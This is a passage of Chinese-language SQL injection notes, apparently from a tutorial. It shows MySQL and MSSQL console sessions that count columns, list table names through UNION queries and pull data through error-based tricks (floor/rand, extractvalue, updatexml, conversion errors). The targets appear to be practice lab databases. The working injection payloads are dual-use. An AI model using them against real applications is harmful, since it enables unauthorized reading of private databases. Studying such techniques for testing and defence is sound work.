mysql> select username from users where id=1 into @,@; ERROR 1222 (21000): The used SELECT statements have a different number of columns
判断正确
1 2
mysql> select username from users where id=1 into @; ERROR 3061 (42000): User variable name '' is illegal
也有limit的时候可以这样子判断
1 2 3 4 5
mysql> select username from users where id=1 limit 1,1 into @; Query OK, 0 rows affected, 1 warning (0.00 sec)
mysql> select username from users where id=1 limit 1,1 into @,@; ERROR 1222 (21000): The used SELECT statements have a different number of columns
查表名
union查询
当知道字段数以后可以用union查询
1 2 3 4 5 6 7
mysql> select username from users where id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database(); +-----------------------------------------+ | username | +-----------------------------------------+ | emails,logs,referers,uagents,user,users | +-----------------------------------------+ 1 row in set (0.00 sec)
盲注
使用if,sleep结合其他函数使用
报错
通过floor/ceil报错
1 2
mysql> select username from users where id=1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '~emails~1' for key '<group_key>'
ExtractValue
1 2
mysql> select username from users where id=1 and extractvalue(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()))); ERROR 1105 (HY000): XPATH syntax error: ':emails,logs,referers,uagents,us'
updatexml
1 2 3
ERROR 1062 (23000): Duplicate entry '~emails~1' for key '<group_key>' mysql> select username from users where id=1 and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database())),1); ERROR 1105 (HY000): XPATH syntax error: ':emails,logs,referers,uagents,us'
select * from dbo.MyTable1 where id=0 or 0<>db_name(1); Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value 'master' to data type int.
将db_name()中的数字改变即可获取不同库名
1 2 3 4
select * from dbo.MyTable1 where id=0 or 0=(select top 1 table_name from INFORMATION_SCHEMA.TABLES);
Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value 'MyTable1' to data type int.